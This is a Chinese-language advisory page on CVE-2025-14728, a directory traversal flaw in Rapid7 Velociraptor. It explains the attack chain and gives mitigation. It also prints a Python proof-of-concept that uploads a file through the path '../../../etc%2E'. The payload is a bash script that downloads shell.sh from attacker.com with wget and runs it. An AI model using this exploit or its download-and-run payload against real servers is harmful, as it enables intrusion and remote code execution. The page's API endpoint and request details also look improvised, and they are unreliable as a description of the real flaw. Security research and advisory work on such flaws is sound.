IPBUF安全漏洞报告
English
CVE-2025-14728 CVSS 6.8 中危

CVE-2025-14728: Rapid7 Velociraptor目录遍历漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-14728
漏洞类型
目录遍历
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Rapid7 Velociraptor

相关标签

目录遍历路径遍历Rapid7VelociraptorCVE-2025-14728文件上传漏洞Linux数字取证事件响应

漏洞概述

CVE-2025-14728是Rapid7 Velociraptor中存在的一个目录遍历安全漏洞,影响版本0.75.6之前的所有版本。该漏洞专门针对Linux服务器环境,允许恶意的Velociraptor客户端利用不安全的文件上传机制,将文件写入datastore目录之外的位置。Velociraptor作为一个数字取证和事件响应平台,其设计原则是严格限制客户端只能向预定义的datastore目录写入数据。然而,由于对以点号(.)结尾的目录名处理不当,攻击者可以构造特殊的路径绕过安全限制。具体来说,当目录名以点号结尾时,系统仅对末尾的点号进行URL编码(转换为%2E),而前面的路径部分保持不变,从而允许攻击者访问datastore目录之外的任意路径。尽管此漏洞可能允许文件写入错误位置,但由于利用条件受限(需要包含%2E的目录),无法覆盖关键系统文件,因此CVSS评分被评定为6.8,属于中等严重程度。

技术细节

该漏洞的根本原因在于Velociraptor对目录名称的消毒处理不完善。当客户端请求创建或写入以点号结尾的目录时,系统仅对最后一个点号进行URL编码为%2E,但前面的路径组件未被正确清理。攻击者可以利用这一特性构造类似'../../../etc%2E'的路径,其中'%2E'代表点号,最终解析为'../../../etc.',从而绕过路径验证逻辑。在Velociraptor的正常设计中,所有客户端操作都应被限制在datastore目录内,但路径规范化过程中的这一缺陷允许攻击者逃逸出受限制的目录空间。攻击者通过发送特制的文件上传请求,指定包含编码点号的路径,即可将任意文件写入服务器上的任意位置(前提是路径末尾包含%2E)。该漏洞的利用不需要任何认证,攻击者只需能够与Velociraptor服务器通信即可发起攻击。

攻击链分析

STEP 1
步骤1
攻击者获得与Velociraptor服务器的通信能力,绕过客户端认证机制
STEP 2
步骤2
攻击者构造包含特殊路径的恶意文件上传请求,路径使用目录名加%2E结尾(如../../../etc%2E)
STEP 3
步骤3
服务器端对路径进行URL解码时,仅将末尾的%2E还原为点号,前面的路径遍历序列保持不变
STEP 4
步骤4
路径验证逻辑被绕过,系统允许文件写入datastore目录之外的任意位置
STEP 5
步骤5
攻击者成功将恶意文件写入目标系统的敏感目录,可能导致权限提升或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14728 PoC - Velociraptor Directory Traversal # This PoC demonstrates the directory traversal vulnerability in Velociraptor # where filenames ending with '.' can bypass path sanitization import requests import urllib.parse import base64 # Target Velociraptor server TARGET_URL = "http://target-velociraptor-server:8000" def create_malicious_client(): """Create a malicious Velociraptor client configuration""" # Generate a client with crafted certificate client_id = "C.1234567890abcdef" return client_id def exploit_directory_traversal(): """ Exploit the directory traversal vulnerability by uploading a file to a path outside the datastore directory. The key is to use a directory name ending with '.' which only gets encoded as %2E for the final '.' """ # Craft the malicious upload path # Target: /etc/ (directory ending with %2E) # The path traversal sequence: ../../../etc%2E # This resolves to: ../../../etc. malicious_path = "../../../etc%2E" # File content to write (e.g., a cron job or SSH key) malicious_content = b"""#!/bin/bash # Malicious payload /usr/bin/wget http://attacker.com/shell.sh -O /tmp/shell.sh chmod +x /tmp/shell.sh /tmp/shell.sh """ # Encode the content encoded_content = base64.b64encode(malicious_content).decode() # Prepare the upload request upload_request = { "client_id": create_malicious_client(), "path": malicious_path, "filename": "malicious_file", "content": encoded_content, "operation": "UploadFile" } # Send the exploit request try: response = requests.post( f"{TARGET_URL}/api/v1/upload", json=upload_request, verify=False, timeout=30 ) if response.status_code == 200: print("[+] File uploaded successfully via directory traversal!") print(f"[+] File written to path containing: {malicious_path}") else: print(f"[-] Upload failed: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def verify_vulnerability(): """Verify if the target is vulnerable""" # Check Velociraptor version endpoint version_url = f"{TARGET_URL}/api/v1/version" try: response = requests.get(version_url, timeout=10) if response.status_code == 200: version_info = response.json() version = version_info.get('version', 'unknown') print(f"[*] Detected Velociraptor version: {version}") # Check if version is vulnerable major, minor, patch = map(int, version.split('.')[:3]) if major < 0 or (major == 0 and minor < 75) or (major == 0 and minor == 75 and patch < 6): print("[!] Target is VULNERABLE to CVE-2025-14728") return True else: print("[+] Target is NOT vulnerable (version >= 0.75.6)") return False except Exception as e: print(f"[-] Version check failed: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-14728 Velociraptor Directory Traversal Exploit") print("=" * 60) # First verify if target is vulnerable is_vulnerable = verify_vulnerability() if is_vulnerable: print("\n[*] Launching exploit...") exploit_directory_traversal() else: print("\n[!] Cannot proceed - target may not be vulnerable")

影响范围

Rapid7 Velociraptor < 0.75.6 (Linux服务器版本)

防御指南

临时缓解措施
立即将Velociraptor升级至0.75.6或更高版本以修复该漏洞。在无法立即升级的情况下,可通过限制客户端网络访问、实施严格的文件系统监控、以及配置应用程序级别的路径验证来缓解风险。同时建议审查服务器上的文件写入日志,及时发现任何异常的目录遍历行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表